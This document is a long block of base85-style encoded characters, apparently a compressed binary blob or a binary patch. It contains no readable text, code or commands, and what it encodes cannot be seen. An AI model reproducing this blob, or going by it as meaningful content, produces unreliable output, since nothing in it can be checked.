z(ufEtZCcaPN+5z5({Z$jfNhVFXl5qf^vnM4dk2qs+{NRQpMK6uUb$n>4Xy5SqJDBq zB6x}jK;VMBPbUHeije?fB&t#hFJ%monT6nzuLXeVt%E>7L84?10vjwVQXGa=GF!uC z%6f+ckzZKJv5O>YI92V4Uy5XUR6{c2Z5zu3lKtcq3lTa%k1=7ZLv`ONqIc-hG6{fL zYarxg69EK=A^jPljUfQ_A9eZD|MnwqUotWN{V(2o+wDVy@vdu8sD~kreH_3dN z0xsuJm>n87u;qf4BDoj{ zLWCG%62{2r5$e$EFAxzDM8e8dktkA(6zV#JIu3fniLvot{OX#AKJ5IXk6F8U<9bhY z>KR*h?L2(_^|w6eK^LdvOwwyHG5L`mDMZAv(@s6fqxThV-?8udJ8s*yW7lb?9UCB= zdFsi_mrWj+nnM79NSMGlbqq0rLkBd3I0PC{T!`Q((A@m|LVu9J%T?aFRO8}Bz&HbM zb33WNN6!L7t_UFFN%A=%8t|mIS|ul(QhFBAI}gwXXaV?cXRNAPF$6;J-o;1+0|x;h zRNgNv&?i3i`5*k`H*<3f70{hqZ+F#rh(m!H5?@G$Q<&EVPxZ(W$;7dA2%MW+X+(sx z(qb0k5jnZfHGyw=JPLm$#Y)uqSycamK%Qgo8JXO=VC~aFMyOR*gn};@UH3&4_tQXBR=_wzxcO* z`OYg||MJyKkNL~Dz3KR4H$UXDHypnGj;dV|gfNIisXE&M1Ogy%sn8)tim?W8m2bDZ z9iV%j_D8Qc|J;jS`P$dse&^24*wR67fq+tG762$v2!SYibk2Kl5n`*Zp&rb>;EHFr zTh-hC;yr_U*zQh(3ji2GNctV?K7i|VCWrNKvNQRh3(q_Dxb;UKxz2SaZn^8u8*je3 zJGL~$;2Z+E2pD6XPOkFap&XQ-LdkkKjIl4t6uggS;j`}VC~v0}}t2N(Gg`OAt0T8gJuyWaomCKgzJ#b)db`G)1**YXa zBXYj#&rPpeb@V4c{=SDj?EIUryW`)!aMgTo{^V1SeaoA#ShH$!VS4@*uYBBfH(Ybo zudjtpM8s&d9&%LZ00~1J)-QPGGcGyz%Ee#ggWJn_k!k3H(jS6|s`Zx{{+tLlm!5O(v!D6Y$6WEk`Q8FzRkhlVm+n)rA46RypU+oq zL^s}=xbS{wZoPZ!A3gE0M{n44&F`-6)uE~?h;ZD7qt7|@xb^Fgy!6s@uD|8RJMP)p z?#N)c_C>-0Ad2Lj>kaz*4(>mGMD?mXgiI2vN+a zymMQ@R>*@|zo`RMFw`+1uz>HxR{#Wvz~@m0 zbnQ^jcU|?e=l|(D-uZIy{k=O5rE`isRL)@zS_HQ3lsH$6j3Jzg1U`IKQe6PVxtLJX zu&(D8W&r@8k7=Wj5W?M7}s*N{Qw%6_6ms zl%_%;7!K=4KjdLQ`su&)Y9L?n@_@WW+u9z1FCCA73;_WWIe-xAnrgt1w&SM+yvjp5 z8%N%w!_|5sdg;Yk9tgli0CT=X;-W*0K~6o6=%S~pyXT(%Rfi8j|>{(<*D_r))n z>Tm0eO#&?tISj-_fW)=5>B+P-0SEvt)eIs6M`YY(jFDm>m3o8#Kq5U(Rj=ve>$TKW z4v$%x_)Do?B2MukrdL1^dky@~5n@dMB7&F}S4CB{M9i2junQ+HErfVv2yreIUq(qq z5zpVD_t9(;$%UwiwFuF<;9c!7MDQ{8>$?At3!n1Q_q=_~kN@CHJMO(FcDs`vU>HK` zE-jELdSQzD9bo{;0PsK$zvvNCqCTYU3Mrp0r$9si?;<&Lb!c64)l6?8Jn3l<+_V3$ z-u#}I5iX4oh$N?62D8kU$a%vAc6 zE=)d=u9|7wSmqJ+flOx>MSCbJ@|eif(~@{D#t8y;4b^aRB2xw@8TXucSB;TLnKUeB zPY-j;>05J7W%kA-$;@4YVTh8QpRq|cG!3Cn2pndv$*^5sF;J?@F{xze$X}!fP^fIf z>b$87%wk6N29S7JkvYhSti2a5nrXIZ+w^9#25I^U`?Hs+RFcC6fV}U_PwhP8#Is)e znip?6YWeQFrj{(5fC^@3<{aSo^6`3ZxZ|Ef54-f7m%iXRZ~n{oP(9mfw_=FN6eJPh z(iRyt8U~XJUvt1p4vP}`SEdt@l)OYha?Vw$uEtRf5wRx5vlJ~;9fM$fO8tdMHBpSQ z4k6aVdSYT?+x8u|-n8|^`yF-0smC3$YU$dIlmGL*-`{!fR^M`jIqFD)?3^DiEUa5| zNfG8qT z2)(5f-K9&$k}p0pGuP|Y-nH2$PY3Gele#%!DKg9Ek|L3#KmmBC1;j{#t{NjaKqLh8 zh~Nla)oKB>ysH4JPP=NiTi|MRzSU_l+&}~ffCTOCo!f4^?T#A&0Da}Fu5;}WYT+vX zYq%=D7&Dx?hy;M@)Q|Ara@^ifNQ)>1scd2Pu?vhfKw;|!aV`gEvsGT=i zw#GnJQqv>(R{OXZ4?CkAz!5bS!`zgilTC@nsEgjL_cFC|~dM!XLgt)3RCQO1{g~IMZRKBT<#TO^kGm5fN7{U*UbV@4x{_CF(H< z3B*&60pj4CbME)JM?Uey6E}odf9+rXVd;vMEl)dl?S0Wpp0IZH^IrP0KmV`qez(<5 zCou2^8q5-+E0chT&H-S1>5`?_{rdW2H?MD3%T7Jzq(cYy-Rmg^1i)ck$68 zF~4wluGgcy%ozQyPfXz?BSW&g;u)*j_L?;*zdIBrXB8=4(Jt6u_ZX2uv`? z2@#AG0YZ%NeINO|zx}6=0>n$sd-#Xm|L#XW{4t;Z;^!hjJq(?S#>dBqXnuZJL)*8i zNL1HU(ZbSkY*pif;r#r<+_3IqRdrkSlCD2)^AVdju3bKc^UEUu&h}gc7wSHQ*|Bb? zJuw-=aDE|@?|2u9;#hYqh8kk;=%Y9G2lIRO9jLlXy`z;&$JVb~dG_g>maZ6IxnkAI z70ZVq?maM#*dj@lNhM~6^5LLgVSo9=@~Y}C^ycS#J!*FmsNJs6$Km|k%B3B|*3``O z&@XGXDWH$VCLe@fx*g@wWLm21#dfH6|to|ycH zFMav%KL7Dkww(QM|NQs;;gFfhW641fB5_*HIp=X|X1Wf;C;M6&u}cvoKS$XqO~0o^ zzn~TwdxvSuUaG}lcTs>1v9ilS5*>*7;h_~PLL{0ZsZ;GWO~P?1)^x*}+FWRo?X2d= za_gv$uVh|%Z0t{Kpr;3MAwtSyvfl%p82YiMmpuPf?|RqEXJ_UI3(y&x1d53rl%*81 zG9V$A36%7r+~OQLjEEEoh9LsY zKKb!4zVc;H*s*m6VhhQ|A%a69!k7YN$=@f)M^F}{1`a7r93_oM0E8rG@&T7?IY6jd zV>@o>op;HWx4z+xuX*#Ur|0@uCGS584Ii>7$C)BP4Cz!|5g}48M-8*Gv?cB!Ko~$B z;QaH>IbqADTkgEYcUD8_XM>d*N0fgE!N+<5v3u6pXRck>x%HZv)>wy7j(KK$MC6yZ z$v=^27b__)=h2Y5Z6k~$%PPR6KM5HkfR8Z(%wBZfVWQu)BWf1I}HseABMIJIQ&>qvy#O+=y9Ic+6V03Na$UFw`Lih&56T(HR55 z6C;dLlt(&BK$P8XDPBYek4W|2ubO($C1?Nno8I)A zcfNw^A-Oh%(D3S+z!YPM6bK?YhwQ^UBJmRlfQUi}X@^Rrh?F3Oxs+GWlzW*|P+pYb zCoRxa1OfmB3aR&09-E8Z97IAOLI*sAlzugS4CWqDcZ8P?e@rLiq;310po&U|sN+f( zVvZxw{AWfVAvzDxss{&7IOf8)zW$XfS1tSQf82BLZ7|+lM*R>x078xE9Pbg)yrNhW z07p*q2D}`L#O2t;C7{GXP+b$c=)6Ph+;Ht|)oMTIxtIO==g;`ck3U;=R>wF%a49pM z>Q;?M1Ppa-wAn%^>T_I`GjX5^9nQ+L3y?Cbpo&SBBnFSA3^NxbGQ=R~K0u$Am{IT1 z>YKtolXR)@!9XAcHJ%G;o>2!SS*#+t$HAA$n5IAY9$7?F;pP4b)KQ^K3O0hIW6`HH z=_y#ok2_Tw5}HfQCF79D8l8Iod8zQ64qmi*FTS@vteKw;rXvfL1mUl*`4xF@~ z-34_WC~w}^s?X$hC7UM_rTOR_XevpV6qK@9>3u0YB=!n&5?Ul8`+*=nkD+@0U1*%E zkW^r;9EhtS9l}UES#Ur-gT{xlx+O_RUI<|!XOg22VF=_N|ER~DyydukJLi|JS+Z@% zp^tpxbKn2@kGk#FM3z7ugsSpGA zAuy%7Vntq=pYtmy>L@bE|H^+VA;~|_rxqhaGq4Gxn9hcTkj_$x$*{ya#JUcy-5w0X zRlm6U@~514;f3eVP0f0&uKCUHr)FjyLZq0=0<=`lyJ|3;KK1zX*Q{Cr1pR)v?e?t% zGk4y#wcj5g_>CJ@AA8I(H{W_AQ3PlcFE=vMI)~0<9e|>rU+4~NhtVPRA9V3~#~rgN zgnm6}-?eqy%=|)k$+&%1>^xgWpn#Mtc9uONPqB`XVu&$NsAGtwTB7DwB`@nMfC^j% z;GFl)SA?}sWnbigsyeh`FeC^7vBFlXI~L7tSRwImmo-#!{w})DVmH1Rm5PDx8fC zDmlucQS*GUI#RTr7f6eX;ucEwOxia@0wqEE$_kZLKw-1sng-rNn__Ng8wat<#^y9S z(Ip%h{S+u?{1wPN$p0@*Q1TXJaC*RW^IiaqM3r|-CMJ6Q{^6-vho%xuwFq5*&^vnl zQD6Gkf4ufL*T4V0pIEtW(=UGUvr|tyY0vKc_uR8>`Kl#ve9g;V_2Q>|{kz`%;dDhu?Z`-qO?GfV>Cb=Z>T9lduI0VI^2N`ket*rHBTqVEOWV7TedhB&`NdTL2-F%3Bf2((x$&hF?|jQ! z7v{pp{`ONlcJJJPyYQm3S}x8m z3_tbhkE~q2>}Nl}_Cp`}+k;bwUVi0^x2#{cd*{>z7o4+Xy!*wkee2`@@LBNH*pfB# zQ(hdk(l=RW<(8;)4pUs(8$@BHvH|N1qg7P-*&@Px@uYkXDg9ol^KhAUt4yyG^l4}M%3A0IqWA5edNqlD^!! zs;b`Hjw_z}qDMde;?I2gD;b@vB}^4`qMNyi=gyyraQ?9-2LWBYqQ`Q@iS z_iu-$2d!2cUGK?{f8?{Cc==eTnjh3Z{`qhJ@pJz=H9h_8r$6hNS3GKRvg-E+A9(+J zmn>Ov*IoC#=YyZP^^U7oEZ^|(hduhimtK7A#`S}K{g40hm9Ku|M=@3_mbPE`oM)_D zIkA1~u9v^;dHbghzv=BC_{q209e;?&9Y@Le$g|}J>#q}9L~-5zxM4PeDz!Zh1ePEP7vW`mp=5l z&wApL@ugq;@9%x~i(iB|i4-PU{_&4^>{A~5s3jAfgR}F0`PZMi;ig;1##g$kGj}NZ z?j)dx99o3Q$xd(KNa&6YhV@{OYL%im8I*G<0@O(8z|GC|78ZIF-HBGKHSF~(=Sgr; z!3)!F3-G21G+06a=%k2Cu22L5yJVxB)>wi|A`Bo&H5{1TY*{2py!ITD@RJ#;Q#ugQ zWDzr7*$~AVj%1`9kn#Mq_DwvojGu&g$q@^aYY3d}rZEos3n^8seG;by#o?C!QnrbM zF(+HBM7J^Jrqb`=kQ}5E9uMH_{@lYK{Fv9i=EcMQV6cFlZkuYP;D|h=q^{%R($Gnc zkTWVkX%}jM7$63+|H+<~JarUr!Fg=8T1mtJbo;lYFNu>JNkFB7%XPYK=cJZFN^4SR z8!4UY7rATsmj}Sr28lR?j+_Jj&x7;m9Fwv=*#Y$1wokw9P0xGUlb?_prf!;*o3Jy_66ks(i2KfCAn`X#hM~Lnov#6 zkaN-bfJiW$+r0Vo_r3cKhxg4>9}yu&BIML0rF>Zg3PdD(c>_UB6euN+AVvz2BE_0t zPtB!*oM=Pto=M`IbL~$1-kauL`20sb_Tf(i2t?pqNtO}Nx7^ghaK3&z3)A(+&8sfF-vt0QfCH>B#n%cF z84HPbnu&@51b~{TrnGnfv93dm6as`G@<0*~Ch_9~y2t||kfY!rIwX(e5xfHgbOhcx z6KWyD2}?RSJ%p58r`wv|7kAz@_vlAG=8(PTEQo}o1TmJ8S_J4(kaVfckwp%rGB-vas0wjx(4X&A>t67jm)!s2Q-1l~ z9b0b=?P?-z+zAmWB1DM!1OpAFQk6BN!$tUY7lc46Wr&y(2SOc+&ZRgpBA{z^Z@ljC zwp-)7{`@sZEZrRIsmeR=qj%&m=2Q?!QzEozmJG#^AmkFa>}jAH!)#Z40l@LfHmWKS7x<>8oFI7twCREdsm4XH z(JwWAk)#NZAt6z*QfeM9dqf$NOh6@|nzzh=#p>SeSwS4ECpCFbn+| z-=Brvu2o~pPuzTbtAcjN&Ck+1-}lMC`}~Ku@7{X*-8cTtr~cwYANwppD^OfLx$@Xe z8``beuy8o^4~2yT)H_7|Y3k1mdo%TLh?okzQI6fkOd*j#RV9`_%iSzC>SU^er&8^l zLn304@v_4rodXWep-ZksAgV)5%ed@sL|!`TjCFo-?R5us&7XDV$roO9=KOU1yX$VM z>rexQAZ{mTK_dW!VgJn2PM#R=wkp4G|KY9M?gZ%GcGtaga|=MQbaL$UQ%@P|j@PvZ z>=JYUD*)$Pu4-XbA;i$`w#T|lTd;D;_|a=u9&^RxuKd%N{K-VO-RZXO*>m96*WQ2_ zs;U#BP|UI4C!5gHgaS|vG)(^y4JpYOAb+SkQ>aZR4^m zw(>=`HQG*bE0XCb$B=4pIR?%&A%kNA54yy!?!M{~HU?ow34peH%IcFs#vgF_FY4<}u`=Lw9h;&j0$)|9bgrUw!(yr|;N%%@2R_(_3!4E5@;% zyYK$T&;C1A-InjxK~~@Ff0zPuQD{!F#+u?V(l@^KqnE$*ic?NK{`=p%sy`pbTa!Qs z9(3X5Z-3KkfBEZQz56{M8bbKHkG%7Q%}3Y6c{lWry8M#oKI8Fw_U?KA2S0ZEU3b0r z9e;M-*{1?bQw#`IUC%jp_`Pp`iUlfUrg|G45AkGlT1i0B>4(S?Kn{e^?)o^kRUuYB2EcijH^ zx4-A7zrN-LFL>%RpY+g$x$P9|CqLogAA0xezW1FUzUp=Fn4O>g{Qvu#bI-YOFt=mv z>dCjg?hWf#ule(Lz5i?f`OV8NyY$7+`Qv(U(76iuoXvD9T@CUdLaakQH$UI$w7czA zjGB6GD2oF`U-@o#tY6pt!4O^LoI~{KG-1RFv63@Ambg~;i(mN3M?UuVfm*FjC)WMx znZ1vD!~>u5)XRT;)eYC)aQih^Z{4|V7eGxAi9#9`QBAQHK<027fdFD>qTA|@k9Dax zxBI*^?|0IPCmx=f3UqkmhNJ%KFW$cK=ymV?z{mgLpFj7<&v^K2|Llbr7v^WSzx;(y z{i}EU>92ls?d#t9!Qb6<^OK(PsEaQ?uQ#0k&F}B{)7QWI8{htMcXIL{KlkOoc;DZA zW+>5 z$*W#>^|inK=tutisCApCW~Tq)3txWGD_{4^tFFI$`~DZc=B;mg*WbMRLmwXwhv4qL5OtJMZ6FHcb^d%6jm zRWR}m#>+}JD=j6eF(Qy;dQxOf0Z2N>#xvRRR>Qcq36|s7Y)q6XGWyU74$90Rg~NdGJpyV#-*}kIVfArR8lz#GyhGA+|ig7SO7v zu7;)D13URl#^^9Q7gIGIxUpgH;Ob?Yp7V@9K5Apf60-%Ty5Wx?J!|@Kh?#frJS>N4u%Ur9~N~iph z3@rtwEP=ITL>!?9@11M$p1lyLt_dh*Gx;C`Jt-i!#qdDBi-Q3jn(Dvh4X?cF>Yv@U zeMi;q@DTyz`9IJhW6HM02(c#cq#I?mo-UIyq=IlHAYZxJnc=1_-HR@`@XKHS)-cRh zzDscc=pm9rh+Hk6=;j2)ilDEuF(*pF)U_ zcxoh7qe4%6p$h1yG+?f#hO7Ab@~?kuaUa8AA*aLP$r=q9zI`hl{|Qaa?ri zyeN!-kk$#1G1C#nR0*BVIaOU|*AZnF5ddA)_S?74pR#QAv!3~s|N7x~X?Vz0OCb(e zEfC~9W}hslV**Nfyr%Efu}!bZ0n{T8GVzoOtbJ(d()`_iG7DHkZAwkQOaF_35Gf>8 z&9MokxBj8s`=;n$S}YM8KnGgQmjE|LN-v%zmrfK;+1LmP&%gnC078s>cpm{lCmnG1 zum?QmxleuEtv4OK{f1u4jiXD)i6VrQbR;0)lVPQb1c12YY>!Q zX_Iin0my;u2$gpMs^9%;|6`td)SIvT(^tOtWxl(Vp%oiC!iB@>|7uzk6j4G{K|&CN zZj5a*MY8oclagcw(!@q$Tg9TOB#~e{amPfQ&I9c?p(OvwCEUgfNvMH#|0E(LB~QN* z$vBDK0%O55YOq|Q-j~v8r}~=#PZTGgUb*hK4>OZUU%29TNI6) z{E;0vgqYG_fRx-qQql;;UG{RFN|Gj6LC3;}@=BVU-wcmJ0w_LgF>|s;W`TKSP>(4l zoh(@&3C&{-xv~8~;iaMAQkn`37p6}<=7a~|{~_y-SXWi8mS;D=->=uMTzT%fr_9Xs zmapjk>e}0Gx%oQhy6v%LF~%_LZ{KnEfx`#atXk$AKKm)pJp1$ue4FYa5s~xgoa={h z&F_By{h$0`zBktzTN1($1n!W`oHf%9=9;Z2P0YxiQucs|kr@%ed(Qdr-$-1Jp!6e3 z#g$T$DGRv(MBqJk+nuYgz3tw+_8x!I1`O@}`)6*t{nna>6e)5gXH9V!0=8Uh(C-7Z zPd)i~sG*whx8Aj5*S;O?*0QZzckI};f9=X;u?}aRcIxtF%XaMRqw5gAYc;l<@3dPB zy@ge)$KUt1_w)z-?pSNA-Cnt3*^x)AsQZJu9*iwr^QFK4_g`Q8o6h(|B;x3uLed~q z1D19NAZHB(Ib#GM3P=$7Ly?z=6M18jI^&9B+D?&tWAB`Io+3I#=RBYv)^Y8smG6GT zi`K4NGUx>e5bDsKXip6mw%xgP=bl@=n+$P~ULcuIgG%U>S5!*lr&CZtEqvxuVe&Jk z-cN_0?@Bf#nS^xivv%F^)3US`rkNJ`7OVqi2PI;R9Q2MVd1Jnf&Lx%v4e)ZmC7FzN z7&{}wFoP8kE<$M;hwUacWfk#0yddRU2H4RV**}YDWh8_GF=)l(C3vwpw3cyEbh9QF zGssfYMN{r)ByG?ZOR`1)hgem<*B^!uy-RDHnNFPDa8(_`+#L4iT3`O^*Eb%q?x>ab zTe)WC#Ms0{r`uV2O0PF~%^N=uA=&xlyMk^+#Yk3WkOS0Mhu*R!D}MdU8(#I2Xa4rq zyYJn(D?(Tp^Z-@`te)_c=SW`(Ff%Z-3X!n_u_F%O3ooul(mXe*N2Prl+>veeYwIuUdc2b=MDi2ddUeUv&Xm zbuWDRt3UbDSHI-k?(cm6n-93~!uy?Z>Q8_9L!u!-dZSPrhGD9fsE2*unY?@3!RNp9 zHFxd)eYfkbzx|q6EqTO49{icles<%!?$aOlxNm>&M<4ps2OTWA^-XvD*~?ye$+>4< z{hM!|dHPwWpLYCZk9lG*ZoO&iZ|~T#_f4;P=|?~LPlG|f@)e~Oc=luvAo-#$QXCG3 z2;iOLH*DnIt= z&wcvSpZf$rdR@n|R;%6VdIUbxpJcygA^WLH1F+wpd)yyA@Wc~0_GjiVyy(npeslfT zzVUT{;Zy(U3CqUD-uJ<`UwgyvVjQ+7@QNor?}Bqr_~|eH=b;Ze|MqQne(e8!dV1#Y zZ{GF0xBtc8cgB|a)~erJ`_mA%-S3=J4o&rc`ir0L-g^zeYIL1e`{-X@ea*uk|75^k ztJS;f-rufXe&oY0z2v{X^(AzXYWKY#{rdf%_-g>SW7pm1oOaHuUi#cOyz|XJ{OQ4^ z&;i)JAOSxz}7oq#BxBjf< zH@a3J@__B#yJtT3j~@nT1MENXq!SNq485Gm?-HQ6Rtp1I7dc#`tR-0Vf==jZHGi7#kCeF_?_WCPy1= z36xMoS$EP&I$cgLhuxj&uHPTsRo%1ifq$#hd;4~0db%sur>ncIrJ`Y&bN`~@n}lsr zm>3h205}<9FGqcNF-jqfCvZ3oRZ%i&H&^W#ZjlK%qdcB;4ohSvnmSpKE#<@XWWGc4*Kp4Rq;GGUr4RdW7tey{35LTrvPl z1LY(SD(xXcA~ry$(*~@Z!c_u))?w!v{G)RLFaB5!Zq@2s0P>7X=h#jvX?(+`ru+=%QXK$u@_mu0cJMv zW!JVkRC6^qvoLjdc5Z&rSn9Mpt0u-K#yTC_?k!=k;DcQjZ4j9?fMsKuEO*9=V~6@@ zU3~nn{PGLl`@w&44%T+qduGeAPy&FDT%pKE_HmK1LghI>BYj+0G{)gTw?T!+UUJbn zXPkc9-8Z+!C%p4vB!YynXTxkQq3#ceCN6v2V>cb&e()#Lt!{?^YoqxH6Fl+ROj6Ys zDef7*02%f!OuI416Vgq_7eql(QxIi@B8wRwmH|VHS6u$2lTTWEaMvOb>)ySG4mPNt zOlOC!A;U5y5CMj4tC%`cU-^{F*R0vPbl|9Ig)BV)Tq|fnHX9N2L<tz32s%j^tuWRwU+ve;SkYUOj65q_ppnNURKS==9kK%s(CsR|Gb!BbogY{L4^ z;P;DqaBThRlYaGAf2BLpzW2vR>ZNwsiKots9DsZ%k7jbAD8<==x}A1w#Cr64)sk}+ z0j4ZQ%8oT%&sdmW8Z5amJwQ@16mWw;B4YqT%alvKrCV-X{FPt*`S*R|f=7<+GIl&h zd+fz-L<=c$8-1}LYYMf+tS|hVkz7 zkibfPe_(CgW>9zgj6^5>9tOr_b|NQYm{1J?tjs#BMo}FD-Tnwi-1bA%VeC?P$+uW3s4ST{b`!9;VABw$y=2JI?h`3>;u0ci zHeMLE#>}~c*Ia+&)>D3=u;x4ebHjndk4|(ZKw$FDIe?j+^Hsriu(Y&h)#j5=-sW6g zlq0v^aqsMWZ)9Y2dVcDWNB3NO{;7jOb=K*pZaIG2?t{m?FF+u2Fy2~Q6qdkaBkhaM zJJFOyReAP~nU@y&?RK$h)!KJ|;7jlQ@F!~cR;%M&WvmIol8Rs4E;dwi$$I|G$8gxL zg!7dP5>yH4b$TvwKukHTp*oz@9w$_H2R`6B70!kuJU?QLI zYM=2qMa;wIIuB&^GfIGE&UZ+D7@J}FQ0)%ORY>+Gr%N*6qPrQzqJZRPNHu4f3NgC`s7|s(<4RD7Zw(RdFD~BZ{zeP+h#e+%=vLuWWNrLY; z#lZ0$ckbNz=+)hF!(Y7WwaKtBGrx504R_ys=RGyMvWQ0e+Ux)OMbCZqlOO-rwl(Upw7T0Ztu2doRU2cA zl2DlOsf*}do9p;_xt|i4X=B}x4-ncd+ynL;LwpT ze&y@8-L<3J8AG|gw}eh>gzJ90H9~a4#HuyD-crA}v|-Ka7r)>YS3K^rYT!E~?d@Au zf8(3i0Ucx8&f4ke1!G3WR&72s+5hK{d~&=!O4Mz2#>m2ZH$T@S8tsmZ_xe5O8F{!U zfgXr#Q7-n~=fC`|H@@x<{_Wi#n?5wNwr}6G>9~!?uvRFC7|IY4n;0s47-M0K4|OWu zu?G1>5+af~`@n?QV`Fq(o#0p+uZsaC9UFnda?3_ROt_ZW%hD)4TX-nf5a~&=njGW9 z@mdXu!_B$HPRndD>?%!uJ!NK_1n7)6hWI?&&V+~xWI=L#XG{pg6pM?g%y350^r(QU zTq7Dyf}V7ZQu#>Q(j{}qS~HTEhM0!M^oR4u#%;bmnbx2`*DlvR>G6->u&LO;cd2L< zfD2`c8j#1bLOG0>nOKuCMl?+fgemQO1&O30VU3{?^AdMUij1&;ZO8{@e2TW*gf(8Z zXR^fcV0yt_n8Mt)V488NONC0C6{tX5q#p1Xm?N9&N1O=Mo9Cxrb>$bn`h|yfKVsV> zaT}n}sItEi;V`8g3UWar;WjT%&XjA>)XKzo78*!_p5%hb;}6FMNd%jNhi7AaQM>*~ z$G+m%UOu{tr}wcfig=tfk<ufv&gPi(OF3ss;89km!QimTxsSoHN^Gb&i~X}i0u(y% z<(FT1)l;6Z4Uw& zBA80s9v@r1edG2E&b{E`3okite8bTLOG|Ukm;$lNE|j-%v@wRP1&Y?*-E-$%u;E3| ze*RlN`1-QDzIIhi{emG5?DXOxWrcEMzKrukic$c4hglKI_CplkMv~+Ui4sPj zF-(efGUf?_oX1|Vh1{LSv)JMehQf}t-(~WxFmYE%lF(N`PY!ecvAWN5238VrSU5z+ zGn=1V(r7$J{yXvGGk09m9k18rE$ z9Rq;(McM8zPH$Xu!W&-qC+DBL?cl>xOpKDKvr5McJid1T|d09>h3=T}0Lj zON9lQ{!+ED)Q_8q7`CM$Wj{tQjFMGlWCIRvz;M zQ6S@RVn!P6vf5lpcV%sd5%E@^ObC_5VV=y|B_069`#$`UuYB*jOn7+rBTH3pd}I|F z#6{)Ap*oTou9`gSlnd9bUB&DdX8YIt@W#3M{Uhzw1HbqF`*#k0{>jYs=FMwPJLQa< zZ@=4lQYxQ`Sxj1pl zmQ~#mHe`$=Tf|fKa&JnxV;tgc%q%kTrR)+?<~7AZltZ}QD9#i|n0eU{NU3XX4lmp! z;dKNdS-;omDUGmI-eiB_tRdH3_1^i;0vN~i97o#Syr=WNqpi5 z4KI_VH8-*z@Yaw9Y7x@Ohsq#R*0u9gw>u{kg<0qgjvbwQ&0oG@|Gq;%_mnGN^T)sQ zn6u9R;q5=R)RJWKFJiT2Qe&A88S7Q0nh!#-@UUQ%x~O$T-oX{4}jTs{N1}R zIOnV{e(T!@_8;UyebITRv^pb125@B9S>w6#zTaEKx4!p{qBRN(n7J?`ci(sa__|f6 zoO1U1wHqeq=e=jL#niE-oA3O|O}E{#cJ=!CAI-k+-#>THeGhfIs|N!YP73o3&*YiI zcDsbav`SYKvjGa{35Lo}8;IN7v1jLM&klew9vHYm|0Tcv@<02--+teRKY7z__Z+u= z%`0B=oKB|&z&jq)uJ7S}H9$qyblV+I+*|VA)84(uKKHdBtR7q4TbwW2#lF3dE>ufJ zS+aMDMJdXT@V2qW)vm5X8X0Hl#T14_GkR0@&W00HBj+=J4HTx}YIg0aO`rYTKaG!% zR#m-fV&wOJ`yHS9+$Viat#)T&X=>fX_V0Y{6QBOvci;AocY5NoELbP28#*5|i110# zDt~bGo&Wmb*Y4PP`Mga1 zYItXu**iaA*Qc1yq|7I%fb&dbV7j0A!k2$?*F(>G=9Qb|$Vhrm)sK!g87pFhFdK;dD%GkQItyr&eMq|2c#TAb}(S5R=qnf;nNN zA&eK3;$!@(!DWhTf*aDAX~ZKIlHH}0-Dxb82Y>)VH7BH~KEoP`C~W5yx@!`oqu~-U zPy`Fe8Wk(bAG;_<6;kGqw5u^+pif0MK1d*sXx=!HOB7)R7a1=nN#T^>$k0sj>y%W} zka1Q2>@!cj8Z127Xz6a=Lq#V5vClbHlPVv6Taa0vMWnn_;1*P+T@TFf9r?71~k zc;}BCJ7R5%i1dW?W@O3?Vm1P4TOxYk;rmUCO<~wMg}7r{?^Wz{S}XVAS@r{wd;)tI zQ?LV6+9f46#>~z3&p+pklTJG2q20T^LtHDiETYn-x5~ztNviO&#?nKPMI)$7nv&Se z4QH!nx*;*CIT83g6p=}#u_V7^d%f2M$l}KXB&{e)Po;eDI9dyy`VCe#vv{R_PWz!m6(D zG9VlGB!!_?yET1maL&2MUG~_^9(wfa?1-o(hr~tap;<-5Yr=lM`M%hhZ)gNg7LGkx zEX?*doKjwT>7}3j%2(@pp(w|l8-%TVB>)A%7%BjN&N=5?cF9GHGj&;%wlKbC4k?0E zL`HBk!%>oDOi5|nWeYK|GQn0!D3n($QDPC9fJFGZUc2dpCq4DD#ToCN4aW>gM6L6+ zARDYg+Bvk8b=<&-tP-5o2izEjQ#)dlmO83`fGJ<1Q#- zfZ>g?;fPh#l^+>v_5H$^zWK=?{`jkf-Rzu)3Fp9t4bZ{{+wD=i>8#Vw{N?BU;xnJ| zwAEWiCwC7}x0u0BW^FSeww9`jmgcGxHg7-UY4KHW52%`Prlsh70%0X{()##RIJ>#meG5g5<0N;YB^6ueX)i3<~Gv4{J_c7N*HUy)&q^ev9VMGHHGC_bY zbk0dA0v@eCLYS%))mTBg6--{3Gm}*_gis8dHVDzOO|`>JARFdu^S(xH&(bOtMF4^A z5r~VIK~6}Q!IH2q8-6y$MIs6E`H)W%`}ouHIhJxu9ZCE|B%XBK8Z41fXgR4C8kLhm z$~;C%DW|j(SxbRBhBv~7NN;GHQ)3vaph&V{0F4`%jMFS&ZLt`@j zS_5LP*?Z51xsOg+PK6g0gwbL8#=>?+$DK~dD~ z2^2O&R>X_h0QDsoT{PMq0rRnAb1#1GFI@4M^II)DJvn#Lh3AJ&D#uot^UgYJyxU&r zSJZA1dyui#Fr(8cCuf%4`=S51cjp7$R(mk0mX?-W*(gc-&}e`WqU9{d9%_-(S8{Xk$<3iOAX3U{n3`2=ba~?vgEnu>>6bA}9+K|; zDdcQ40FBif*EPmV1n0PRzTIk-g>@bzcsDiLH@2{_rZ?z0@4bhyeD~cu@4o+*(eAdQ z(_OQAbZoTEJfPuc2s4s{4RrL;Hu~CQ-~d~U5mCF-AwxjtaaWxGj=z8Z*T4HofUQ0L zO|Sc1BJaHeU@16P2Z+-SlU;WRoeerWIe$jLP<=;LI zzc_%OUl?5Tzu)=xe}BQ)&BhcPx184Z76#09D1?K7_x-`3E{b-*mWoc%0~J{V*n#7Ie?U9{>i&T1!9u$=de#}IUU%bl|MG9I2RiN6>MJg~@XWJL0(fqr zH#0wb%8AV0MZ-4KE&l%R{MxpyTkg5%j;gN9P6sBNxfO0lcLoXvl>#N0 zOADg2|L2+;f9E$IdG52HaqUe%K6+%ABR+I^=Ia0X>RmhThTSkWGScmA>Gi5si`K6_ zX>R`L=fC>7&wXX)AO88cFMsaCul(&_eZ?zpg9Xs?FvOl{0Q9TM69yaBZ#wbBlfM6h z?|toS9{}u;!xz5b+0QLn5YVkItU=iQk*cy)dJel+aaD6w55_0f1NC4~4O|sACpE?} zgLF545Wt4GD6o3%@ee(6-`n1OEx0=Edf@0hROXS&A08h_P z*N(pUrSIHz_cwsmL~e9!Yf-L)VPgm|mE*SYMD?I@g)^osEE#|tqp$^>1FC+XtTDDI zNXn43ZV>>OJhL^XRTR#-s;(6c$`sAST-Ot{PFmL+X~4|s^jac=INu$PoK%!k_Q2KX zH+~|KKT8ZxQZPx$N>TLBYPyzNUc}%tq%GnSB>d6LRpM?9=cUmiJ&j{Vk&IZJ^h@jD 